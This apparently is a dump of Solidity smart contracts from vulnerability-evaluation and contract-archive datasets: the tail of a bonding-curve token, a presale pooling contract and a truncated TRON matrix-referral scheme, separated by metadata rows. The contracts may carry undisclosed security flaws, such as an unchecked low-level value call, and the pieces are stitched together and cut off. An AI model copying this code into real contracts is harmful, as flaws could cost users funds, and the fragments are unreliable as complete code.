int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 207,974 | 13,434 |
b0a2c2c21c7d7e908bdf945cec04c061621be25e419ba9bba9f83003b2e2372c
| 19,050 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x5d315fb1c83e2cc81b76aadd6fcf3a06966d3376.sol
| 4,198 | 16,218 |
pragma solidity ^0.4.19;
// Wolf Crypto pooling contract for Refereum
// written by @iamdefinitelyahuman
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
}
contract WhiteList {
function checkMemberLevel (address addr) view public returns (uint) {}
}
contract PresalePool {
// SafeMath is a library to ensure that math operations do not have overflow errors
// https://zeppelin-solidity.readthedocs.io/en/latest/safemath.html
using SafeMath for uint;
// The contract has 3 stages:
// the owner enables withdrawals and contributors can withdraw their tokens.
uint8 public contractStage = 1;
// These variables are set at the time of contract creation
// the address that creates the contract
address public owner;
// the minimum eth amount (in wei) that can be sent by a whitelisted address
uint public contributionMin;
// the maximum eth amount (in wei) that can be sent by a whitelisted address
uint[] public contributionCaps;
// the % of tokens kept by the contract owner
uint public feePct;
// the address that the pool will be paid out to
address public receiverAddress;
// the maximum gas price allowed for deposits in stage 1
uint constant public maxGasPrice = 50000000000;
// the whitelisting contract
WhiteList public whitelistContract;
// These variables are all initially set to 0 and will be set at some point during the contract
// the amount of eth (in wei) present in the contract when it was submitted
uint public finalBalance;
// an array containing eth amounts to be refunded in stage 3
uint[] public ethRefundAmount;
// the default token contract to be used for withdrawing tokens in stage 3
address public activeToken;
struct Contributor {
bool authorized;
uint ethRefund;
uint balance;
uint cap;
mapping (address => uint) tokensClaimed;
}
// a mapping that holds the contributor struct for each whitelisted address
mapping (address => Contributor) whitelist;
// a data structure for holding information related to token withdrawals.
struct TokenAllocation {
ERC20 token;
uint[] pct;
uint balanceRemaining;
}
// a mapping that holds the token allocation struct for each token address
mapping (address => TokenAllocation) distribution;
// this modifier is used for functions that can only be accessed by the contract creator
modifier onlyOwner () {
require (msg.sender == owner);
_;
}
// this modifier is used to prevent re-entrancy exploits during contract > contract interaction
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
// Events triggered throughout contract execution
// These can be watched via geth filters to keep up-to-date with the contract
event ContributorBalanceChanged (address contributor, uint totalBalance);
event TokensWithdrawn (address receiver, uint amount);
event EthRefunded (address receiver, uint amount);
event WithdrawalsOpen (address tokenAddr);
event ERC223Received (address token, uint value);
event EthRefundReceived (address sender, uint amount);
// These are internal functions used for calculating fees, eth and token allocations as %
// returns a value as a % accurate to 20 decimal points
function _toPct (uint numerator, uint denominator) internal pure returns (uint) {
return numerator.mul(10 ** 20) / denominator;
}
// returns % of any number, where % given was generated with toPct
function _applyPct (uint numerator, uint pct) internal pure returns (uint) {
return numerator.mul(pct) / (10 ** 20);
}
// This function is called at the time of contract creation,
// it sets the initial variables and whitelists the contract owner.
function PresalePool(address receiverAddr, address whitelistAddr, uint individualMin, uint[] capAmounts, uint fee) public {
require (receiverAddr != 0x00);
require (fee < 100);
require (100000000000000000 <= individualMin);
require (capAmounts.length>1 && capAmounts.length<256);
for (uint8 i=1; i<capAmounts.length; i++) {
require (capAmounts[i] <= capAmounts[0]);
}
owner = msg.sender;
receiverAddress = receiverAddr;
contributionMin = individualMin;
contributionCaps = capAmounts;
feePct = _toPct(fee,100);
whitelistContract = WhiteList(whitelistAddr);
whitelist[msg.sender].authorized = true;
}
// This function is called whenever eth is sent into the contract.
// The send will fail unless the contract is in stage one and the sender has been whitelisted.
function () payable public {
if (contractStage == 1) {
_ethDeposit();
} else if (contractStage == 3) {
_ethRefund();
} else revert();
}
// Internal function for handling eth deposits during contract stage one.
function _ethDeposit () internal {
assert (contractStage == 1);
require (tx.gasprice <= maxGasPrice);
require (this.balance <= contributionCaps[0]);
var c = whitelist[msg.sender];
uint newBalance = c.balance.add(msg.value);
require (newBalance >= contributionMin);
require (newBalance <= _checkCap(msg.sender));
c.balance = newBalance;
ContributorBalanceChanged(msg.sender, newBalance);
}
// Internal function for handling eth refunds during stage three.
function _ethRefund () internal {
assert (contractStage == 3);
require (msg.sender == owner || msg.sender == receiverAddress);
require (msg.value >= contributionMin);
ethRefundAmount.push(msg.value);
EthRefundReceived(msg.sender, msg.value);
}
// This function is called to withdraw eth or tokens from the contract.
// It can only be called by addresses that are whitelisted and show a balance greater than 0.
function withdraw (address tokenAddr) public {
var c = whitelist[msg.sender];
require (c.balance > 0);
if (contractStage < 3) {
uint amountToTransfer = c.balance;
c.balance = 0;
msg.sender.transfer(amountToTransfer);
ContributorBalanceChanged(msg.sender, 0);
} else {
_withdraw(msg.sender,tokenAddr);
}
}
// This function allows the contract owner to force a withdrawal to any contributor.
function withdrawFor (address contributor, address tokenAddr) public onlyOwner {
require (contractStage == 3);
require (whitelist[contributor].balance > 0);
_withdraw(contributor,tokenAddr);
}
// This internal function handles withdrawals during stage three.
// The associated events will fire to notify when a refund or token allocation is claimed.
function _withdraw (address receiver, address tokenAddr) internal {
assert (contractStage == 3);
var c = whitelist[receiver];
if (tokenAddr == 0x00) {
tokenAddr = activeToken;
}
var d = distribution[tokenAddr];
require ((ethRefundAmount.length > c.ethRefund) || d.pct.length > c.tokensClaimed[tokenAddr]);
if (ethRefundAmount.length > c.ethRefund) {
uint pct = _toPct(c.balance,finalBalance);
uint ethAmount = 0;
for (uint i=c.ethRefund; i<ethRefundAmount.length; i++) {
ethAmount = ethAmount.add(_applyPct(ethRefundAmount[i],pct));
}
c.ethRefund = ethRefundAmount.length;
if (ethAmount > 0) {
receiver.transfer(ethAmount);
EthRefunded(receiver,ethAmount);
}
}
if (d.pct.length > c.tokensClaimed[tokenAddr]) {
uint tokenAmount = 0;
for (i=c.tokensClaimed[tokenAddr]; i<d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance,d.pct[i]));
}
c.tokensClaimed[tokenAddr] = d.pct.length;
if (tokenAmount > 0) {
require(d.token.transfer(receiver,tokenAmount));
d.balanceRemaining = d.balanceRemaining.sub(tokenAmount);
TokensWithdrawn(receiver,tokenAmount);
}
}
}
// This function can only be executed by the owner, it adds an address to the whitelist.
function authorize (address addr, uint cap) public onlyOwner {
require (contractStage == 1);
_checkWhitelistContract(addr);
require (!whitelist[addr].authorized);
require ((cap > 0 && cap < contributionCaps.length) || (cap >= contributionMin && cap <= contributionCaps[0]));
uint size;
assembly { size := extcodesize(addr) }
require (size == 0);
whitelist[addr].cap = cap;
whitelist[addr].authorized = true;
}
// This function is used by the owner to authorize many addresses in a single call.
// Each address will be given the same cap, and the cap must be one of the standard levels.
function authorizeMany (address[] addr, uint cap) public onlyOwner {
require (addr.length < 255);
require (cap > 0 && cap < contributionCaps.length);
for (uint8 i=0; i<addr.length; i++) {
authorize(addr[i], cap);
}
}
// This function is called by the owner to remove an address from the whitelist.
// It will throw if the address is still authorised in the whitelist contract.
function revoke (address addr) public onlyOwner {
require (contractStage < 3);
require (whitelist[addr].authorized);
require (whitelistContract.checkMemberLevel(addr) == 0);
whitelist[addr].authorized = false;
if (whitelist[addr].balance > 0) {
uint amountToTransfer = whitelist[addr].balance;
whitelist[addr].balance = 0;
addr.transfer(amountToTransfer);
ContributorBalanceChanged(addr, 0);
}
}
// This function is called by the owner to modify the contribution cap of a whitelisted address.
// If the current contribution balance exceeds the new cap, the excess balance is refunded.
function modifyIndividualCap (address addr, uint cap) public onlyOwner {
require (contractStage < 3);
require (cap < contributionCaps.length || (cap >= contributionMin && cap <= contributionCaps[0]));
_checkWhitelistContract(addr);
var c = whitelist[addr];
require (c.authorized);
uint amount = c.balance;
c.cap = cap;
uint capAmount = _checkCap(addr);
if (amount > capAmount) {
c.balance = capAmount;
addr.transfer(amount.sub(capAmount));
ContributorBalanceChanged(addr, capAmount);
}
}
// This function is called by the owner to modify the cap for a contribution level.
// The cap can only be increased, not decreased, and cannot exceed the contract limit.
function modifyLevelCap (uint level, uint cap) public onlyOwner {
require (contractStage < 3);
require (level > 0 && level < contributionCaps.length);
require (contributionCaps[level] < cap && contributionCaps[0] >= cap);
contributionCaps[level] = cap;
}
// This function changes every level cap at once.
function modifyLevelCaps (uint[] cap) public onlyOwner {
require (contractStage < 3);
require (cap.length == contributionCaps.length-1);
for (uint8 i = 1; i<contributionCaps.length; i++) {
modifyLevelCap(i,cap[i-1]);
}
}
function modifyMaxContractBalance (uint amount) public onlyOwner {
require (contractStage < 3);
require (amount >= contributionMin);
require (amount >= this.balance);
contributionCaps[0] = amount;
for (uint8 i=1; i<contributionCaps.length; i++) {
if (contributionCaps[i]>amount) contributionCaps[i]=amount;
}
}
// This internal function returns the cap amount of a whitelisted address.
function _checkCap (address addr) internal returns (uint) {
_checkWhitelistContract(addr);
var c = whitelist[addr];
if (!c.authorized) return 0;
if (c.cap<contributionCaps.length) return contributionCaps[c.cap];
return c.cap;
}
// This internal function checks if an address is whitelisted in the whitelist contract.
function _checkWhitelistContract (address addr) internal {
var c = whitelist[addr];
if (!c.authorized) {
var level = whitelistContract.checkMemberLevel(addr);
if (level == 0 || level >= contributionCaps.length) return;
c.cap = level;
c.authorized = true;
}
}
function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) {
if (contractStage == 1) {
remaining = contributionCaps[0].sub(this.balance);
} else {
remaining = 0;
}
return (contributionCaps[0],this.balance,remaining);
}
function checkContributorBalance (address addr) view public returns (uint balance, uint cap, uint remaining) {
var c = whitelist[addr];
if (!c.authorized) {
cap = whitelistContract.checkMemberLevel(addr);
if (cap == 0) return (0,0,0);
} else {
cap = c.cap;
}
balance = c.balance;
if (contractStage == 1) {
if (cap<contributionCaps.length) {
cap = contributionCaps[cap];
}
remaining = cap.sub(balance);
if (contributionCaps[0].sub(this.balance) < remaining) remaining = contributionCaps[0].sub(this.balance);
} else {
remaining = 0;
}
return (balance, cap, remaining);
}
// This callable function returns the token balance that a contributor can currently claim.
function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) {
var c = whitelist[addr];
var d = distribution[tokenAddr];
for (uint i=c.tokensClaimed[tokenAddr]; i<d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance,d.pct[i]));
}
return tokenAmount;
}
// This function closes further contributions to the contract, advancing it to stage two.
// It can only be called by the owner. After this call has been made, whitelisted addresses
// can still remove their eth from the contract but cannot contribute any more.
function closeContributions () public onlyOwner {
require (contractStage == 1);
contractStage = 2;
}
// It can only be called by the owner during stage two.
function reopenContributions () public onlyOwner {
require (contractStage == 2);
contractStage = 1;
}
// it is VERY IMPORTANT not to get the amount wrong.
function submitPool (uint amountInWei) public onlyOwner noReentrancy {
require (contractStage < 3);
require (contributionMin <= amountInWei && amountInWei <= this.balance);
finalBalance = this.balance;
require (receiverAddress.call.value(amountInWei).gas(msg.gas.sub(5000))());
ethRefundAmount.push(this.balance);
contractStage = 3;
}
// This function opens the contract up for token withdrawals.
// the default withdrawal (in the event of an airdrop, for example).
// The function can only be called if there is not currently a token distribution
function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy {
require (contractStage == 3);
if (notDefault) {
require (activeToken != 0x00);
} else {
activeToken = tokenAddr;
}
var d = distribution[tokenAddr];
if (d.pct.length==0) d.token = ERC20(tokenAddr);
uint amount = d.token.balanceOf(this).sub(d.balanceRemaining);
require (amount > 0);
if (feePct > 0) {
require (d.token.transfer(owner,_applyPct(amount,feePct)));
}
amount = d.token.balanceOf(this).sub(d.balanceRemaining);
d.balanceRemaining = d.token.balanceOf(this);
d.pct.push(_toPct(amount,finalBalance));
}
// This is a standard function required for ERC223 compatibility.
function tokenFallback (address from, uint value, bytes data) public {
ERC223Received (from, value);
}
}
| 218,258 | 13,435 |
5737906462bd90f249b20232f2cda0a3fa8a9a5431018ad91bf0848b7d8c03b6
| 23,134 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TFygvvN5Eg7ktgUJgmp5sJT5RMgWKgbMpz_OyesTron.sol
| 5,424 | 20,800 |
//SourceUnit: ot.sol
pragma solidity >=0.4.23 <0.6.0;
contract OyesTron {
struct User {
uint id;
address referrer;
uint partnersCount;
uint O3MaxLevel;
uint O6MaxLevel;
uint O3Income;
uint O6Income;
mapping(uint8 => bool) activeO3Levels;
mapping(uint8 => bool) activeO6Levels;
mapping(uint8 => O3) O3Matrix;
mapping(uint8 => O6) O6Matrix;
}
struct O3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct O6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 12;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
uint public lastUserId = 2;
uint public totalearnedtrx = 0 trx;
address public owner;
mapping(uint8 => uint) public levelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user,uint indexed userId, address indexed referrer,uint referrerId, uint8 matrix, uint8 level, uint8 place);
event MissedTronReceive(address indexed receiver,uint receiverId, address indexed from,uint indexed fromId, uint8 matrix, uint8 level);
event SentDividends(address indexed from,uint indexed fromId, address indexed receiver,uint receiverId, uint8 matrix, uint8 level, bool isExtra);
constructor(address ownerAddress) public {
levelPrice[1] = 50 trx;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0),
O3MaxLevel:uint(0),
O6MaxLevel:uint(0),
O3Income:uint8(0),
O6Income:uint8(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeO3Levels[i] = true;
users[ownerAddress].activeO6Levels[i] = true;
}
users[ownerAddress].O3MaxLevel = 12;
users[ownerAddress].O6MaxLevel = 12;
userIds[1] = ownerAddress;
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[msg.sender].activeO3Levels[level], "level already activated");
require(users[msg.sender].activeO3Levels[level - 1], "previous level should be activated");
if (users[msg.sender].O3Matrix[level-1].blocked) {
users[msg.sender].O3Matrix[level-1].blocked = false;
}
address freeO3Referrer = findFreeO3Referrer(msg.sender, level);
users[msg.sender].O3MaxLevel = level;
users[msg.sender].O3Matrix[level].currentReferrer = freeO3Referrer;
users[msg.sender].activeO3Levels[level] = true;
updateO3Referrer(msg.sender, freeO3Referrer, level);
totalearnedtrx = totalearnedtrx+levelPrice[level];
emit Upgrade(msg.sender, freeO3Referrer, 1, level);
} else {
require(!users[msg.sender].activeO6Levels[level], "level already activated");
require(users[msg.sender].activeO6Levels[level - 1], "previous level should be activated");
if (users[msg.sender].O6Matrix[level-1].blocked) {
users[msg.sender].O6Matrix[level-1].blocked = false;
}
address freeO6Referrer = findFreeO6Referrer(msg.sender, level);
users[msg.sender].O6MaxLevel = level;
users[msg.sender].activeO6Levels[level] = true;
updateO6Referrer(msg.sender, freeO6Referrer, level);
totalearnedtrx = totalearnedtrx+levelPrice[level];
emit Upgrade(msg.sender, freeO6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private {
require(msg.value == 100 trx, "registration cost 100");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0,
O3MaxLevel:1,
O6MaxLevel:1,
O3Income:0 trx,
O6Income:0 trx
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeO3Levels[1] = true;
users[userAddress].activeO6Levels[1] = true;
userIds[lastUserId] = userAddress;
lastUserId++;
totalearnedtrx = totalearnedtrx+100 trx;
users[referrerAddress].partnersCount++;
address freeO3Referrer = findFreeO3Referrer(userAddress, 1);
users[userAddress].O3Matrix[1].currentReferrer = freeO3Referrer;
updateO3Referrer(userAddress, freeO3Referrer, 1);
updateO6Referrer(userAddress, findFreeO6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateO3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].O3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].O3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress, users[referrerAddress].id, 1, level, uint8(users[referrerAddress].O3Matrix[level].referrals.length));
return sendTronDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 1, level, 3);
//close matrix
users[referrerAddress].O3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeO3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].O3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeO3Referrer(referrerAddress, level);
if (users[referrerAddress].O3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].O3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].O3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateO3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendTronDividends(owner, userAddress, 1, level);
users[owner].O3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateO6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeO6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].O6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].O6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, uint8(users[referrerAddress].O6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].O6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendTronDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].O6Matrix[level].currentReferrer;
users[ref].O6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].O6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].O6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].O6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].O6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress,users[userAddress].id,ref,users[ref].id, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].O6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].O6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 3);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 4);
}
} else if (len == 2 && users[ref].O6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].O6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 6);
}
}
return updateO6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].O6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].O6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].O6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].O6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].O6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].O6Matrix[level].closedPart)) {
updateO6(userAddress, referrerAddress, level, true);
return updateO6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].O6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].O6Matrix[level].closedPart) {
updateO6(userAddress, referrerAddress, level, true);
return updateO6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateO6(userAddress, referrerAddress, level, false);
return updateO6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].O6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateO6(userAddress, referrerAddress, level, false);
return updateO6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].O6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateO6(userAddress, referrerAddress, level, true);
return updateO6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[0]].O6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[1]].O6Matrix[level].firstLevelReferrals.length) {
updateO6(userAddress, referrerAddress, level, false);
} else {
updateO6(userAddress, referrerAddress, level, true);
}
updateO6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateO6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[0]].O6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].O6Matrix[level].firstLevelReferrals[0],users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[0]].id, 2, level, uint8(users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[0]].O6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 2 + uint8(users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[0]].O6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].O6Matrix[level].currentReferrer = users[referrerAddress].O6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[1]].O6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].O6Matrix[level].firstLevelReferrals[1],users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[1]].id, 2, level, uint8(users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[1]].O6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 4 + uint8(users[users[referrerAddress].O6Matrix[level].firstLevelReferrals[1]].O6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].O6Matrix[level].currentReferrer = users[referrerAddress].O6Matrix[level].firstLevelReferrals[1];
}
}
function updateO6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].O6Matrix[level].secondLevelReferrals.length < 4) {
return sendTronDividends(referrerAddress, userAddress, 2, level);
}
address[] memory O6 = users[users[referrerAddress].O6Matrix[level].currentReferrer].O6Matrix[level].firstLevelReferrals;
if (O6.length == 2) {
if (O6[0] == referrerAddress ||
O6[1] == referrerAddress) {
users[users[referrerAddress].O6Matrix[level].currentReferrer].O6Matrix[level].closedPart = referrerAddress;
} else if (O6.length == 1) {
if (O6[0] == referrerAddress) {
users[users[referrerAddress].O6Matrix[level].currentReferrer].O6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].O6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].O6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].O6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeO6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].O6Matrix[level].blocked = true;
}
users[referrerAddress].O6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeO6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateO6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendTronDividends(owner, userAddress, 2, level);
}
}
function findFreeO3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeO3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeO6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeO6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveO3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeO3Levels[level];
}
function usersActiveO6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeO6Levels[level];
}
function get3XMatrix(address userAddress, uint8 level) public view returns(address, address[] memory, uint, bool) {
return (users[userAddress].O3Matrix[level].currentReferrer,
users[userAddress].O3Matrix[level].referrals,
users[userAddress].O3Matrix[level].reinvestCount,
users[userAddress].O3Matrix[level].blocked);
}
function getO6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, uint, address) {
return (users[userAddress].O6Matrix[level].currentReferrer,
users[userAddress].O6Matrix[level].firstLevelReferrals,
users[userAddress].O6Matrix[level].secondLevelReferrals,
users[userAddress].O6Matrix[level].blocked,
users[userAddress].O6Matrix[level].reinvestCount,
users[userAddress].O6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findTronReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].O3Matrix[level].blocked) {
emit MissedTronReceive(receiver,users[receiver].id, _from,users[_from].id, 1, level);
isExtraDividends = true;
receiver = users[receiver].O3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].O6Matrix[level].blocked) {
emit MissedTronReceive(receiver,users[receiver].id, _from,users[_from].id, 2, level);
isExtraDividends = true;
receiver = users[receiver].O6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendTronDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findTronReceiver(userAddress, _from, matrix, level);
if(matrix==1)
{
users[userAddress].O3Income +=levelPrice[level] ;
}
else if(matrix==2)
